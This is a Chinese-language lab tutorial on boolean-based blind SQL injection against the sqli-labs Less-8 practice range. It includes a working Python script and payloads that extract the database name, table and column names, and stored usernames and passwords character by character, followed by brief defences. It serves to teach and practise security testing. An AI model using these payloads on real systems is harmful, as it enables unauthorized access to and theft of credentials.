python实战之sqli-labs-08
字数 1048 2025-08-10 17:51:49
SQL注入实战:基于布尔盲注的Python自动化攻击
1. 实验环境搭建
1.1 所需组件
- 操作系统: Windows 10企业版
- 服务器环境: phpstudy 5.4.5
- 靶场: sqli-labs Less-8
1.2 环境说明
本实验使用sqli-labs第8关作为靶场,这是一个基于布尔盲注(Boolean-Based Blind SQL Injection)的漏洞场景。布尔盲注的特点是服务器不会直接返回查询结果,而是通过页面返回的不同状态(如内容存在/不存在)来推断信息。
2. 布尔盲注原理
2.1 基本概念
布尔盲注利用SQL查询返回的布尔值(真/假)来逐步推断数据库信息。攻击者构造特定的SQL语句,通过观察页面响应是否包含特定内容(如"You are in")来判断查询条件是否为真。
2.2 关键技术点
- 使用
length()函数获取字符串长度 - 使用
substr()或ascii(substr())逐字符提取信息 - 使用
database()获取当前数据库名 - 查询
information_schema获取表/列信息 - 使用
group_concat()合并多行结果 - 使用
limit分页获取数据
3. Python自动化攻击脚本解析
3.1 基础设置
import requests
import string
url = "http://10.9.46.55/sqli/Less-8/"
flag = "You are in"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36..."
}
c_set = string.printable.strip() # 所有可打印字符作为字典
3.2 获取数据库名长度
for i in range(20):
payload = f"?id=2' and length(database())={i} --+"
res = requests.get(url + payload, headers=headers)
if flag in res.text:
db_len = i
break
3.3 获取数据库名
db_name = ""
for i in range(1, db_len+1):
for c in c_set:
payload = f"?id=1' and ascii(substr(database(),{i},1))={ord(c)} --+"
if flag in requests.get(url + payload, headers=headers).text:
db_name += c
break
3.4 获取表信息
3.4.1 表名长度
payload = f"?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={i} --+"
3.4.2 表名内容
payload = f"?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))={ord(c)} --+"
3.5 获取列信息
3.5.1 针对特定表(users)的列名长度
payload = f"?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))={i} --+"
3.5.2 列名内容
payload = f"?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{i},1))={ord(c)} --+"
3.6 获取数据内容
3.6.1 字段长度检测
for j in range(13): # 已知users表有13条记录
payload = f"?id=1' and length((select concat(username,0x3a,password) from users limit {j},1))={i} --+"
3.6.2 字段内容提取
payload = f"?id=1' and ascii(substr((select concat(username,0x3a,password) from users limit {j},1),{i},1))={ord(c)} --+"
4. 关键Payload分析
4.1 基本结构
所有payload都遵循以下模式:
?id=1' [SQL条件] --+
'用于闭合原SQL语句中的引号--+用于注释掉原SQL语句的剩余部分- 中间部分插入我们的布尔条件
4.2 常用函数组合
-
长度探测:
length(database())=8 -
字符探测:
ascii(substr(database(),1,1))=115 # 's'的ASCII码 -
多行数据合并:
group_concat(table_name) -
字段拼接:
concat(username,0x3a,password) # 0x3a是冒号':'
5. 防御措施
5.1 根本解决方案
- 使用参数化查询(prepared statements)
- 使用ORM框架
5.2 临时缓解措施
- 输入验证和过滤
- 最小权限原则
- 错误信息处理
6. 实验总结
通过这个自动化脚本,我们可以系统地获取以下信息:
- 当前数据库名及长度
- 所有表名及长度
- 特定表的所有列名
- 表中的具体数据(如用户名密码)
整个过程展示了布尔盲注的完整利用链,强调了即使是不会直接返回数据的SQL注入漏洞,也可能通过系统的推断方法获取敏感信息。